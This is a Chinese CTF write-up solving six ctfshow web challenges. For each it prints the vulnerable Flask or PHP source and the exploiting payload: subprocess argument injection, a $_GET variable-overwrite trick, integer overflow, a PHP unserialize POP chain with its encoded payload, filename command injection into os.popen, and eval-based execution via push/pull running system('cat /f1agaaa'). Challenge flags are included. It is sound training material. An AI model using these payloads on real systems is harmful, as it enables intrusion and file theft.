来源:ctfshow
easyPytHon_P
考点:代码审计,源代码查看
打开后查看源码,发现一个源码地址,打开看看
可以知道在此目录下有个flag.txt文件,再观察源码
from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
try:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
print('Done!')
except subprocess.TimeoutExpired:
print('Timeout!')
except:
print('Error!')
else:
print('No Flag!')
发现传入两个参数cmd和param,会截取cmd的前三个字符当成命令run,param被当成参数。
所以直接构造cat flag.txt
payload:
cmd=cat¶m=flag.txt
ctfshow{7d9cfcf5-9314-4eb0-9240-d77a6ca6f29d}
遍地飘零
考点:$ 值覆盖, 值覆盖, 值覆盖,_GET全局变量和本地变量
<?php
include "flag.php";
highlight_file(__FILE__);
$zeros="000000000000000000000000000000";
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($flag=="000000000000000000000000000000"){
echo "好多零";
}else{
echo "没有零,仔细看看输入有什么问题吧";
var_dump($_GET);
}
分析代码可知,get传参的参数名会传给key,将key的值传给变量value。
然后进行变量值覆盖,将key的值当作变量名,将value的值也当作变量名,且赋值前者为后者。
例如:传递参数 ?get=aa,则 k e y = g e t , key=get, key=get,value=$key=aa,
值覆盖时,KaTeX parse error: Can't use function '$' in math mode at position 5: key=$̲get,value=$aa
所以,目标是执行var_dump($flag)
构造payload:
?_GET=flag
传进去时, k e y = G E T , key=_GET, key=GET,value=flag,再进行值覆盖,就变成了
$_GET=$flag
从而实现目标,得到flag
ctfshow{2fe8eb61-9f07-4713-a7f2-311a3e4786d3}
茶歇区
考点:多次整数溢出
先查看源码,找不到相关函数和score等计分的变量,所以不能通过控制台改代码了。
看到全是整数,想到整数溢出。先输入99999999999999999999
9223372036854775807
999999999999999999
输入999999999999999999,不断重复,直到出现flag
ctfshow{b31d09fc-4022-49ca-ad7d-ea533f98cdc2}
小舔田?
考点:序列化构造pop链
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
进行代码审计,发现是个序列化题,有
__toString()和__wakeup()
构造一条pop链:
call() <- Ion_Fan_Princess:__toString() <- Moon:__wakeup()
<?php
class Moon{
public $name;
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="小甜甜";
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D
ctfshow{ab725e26-0530-4535-8cb5-517419dccb8b}
LSB探姬
考点:文件名中的命令执行
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
f = request.files['file']
f.save('upload/'+f.filename)
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
return jsonify(data)
except:
data={"code":1,"message":"file upload error!"}
return jsonify(data)
else:
return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
分析可知,执行cmd命令,所以进行命令执行漏洞利用,在filename后执行ls命令
看到有flag.py,执行命令cat flag.py
ctfshow{343152ec-5bd1-467a-9f6c-33d7d8d3cfc8}
Is_Not_Obfuscate
考点:
打开后查看源码,发现端倪
先查看/robots.txt
查看/lib.php?flag=1
将这段复制到框中,再根据提示修改前端
然后得到一串代码
<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}
ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}
看到了个eval函数,所以可以先利用push,再用pull执行命令。
首先,构造payload:
?action=push&output=<?php eval(system("ls /"));?>
这个payload会经过file_put_contents()函数存储在目录下。然后用file_get_contents()函数在目录下读取。所以
input=md5($_GET['output'].'youyou')。
payload:
?action=pull&input=b4b23ad51ccba6f288833a4e25cb361b
看到有个f1agaaa的文件,用同样的方式进行读取.
payload:
?action=push&output=<?php eval(system("cat /f1agaaa"));?>
?action=pull&input=ba53a5488a5dfda0aff1bb1ee5fcfaa2
ctfshow{876b2dd2-9785-4eb0-9a6d-7bf0a081bc5c}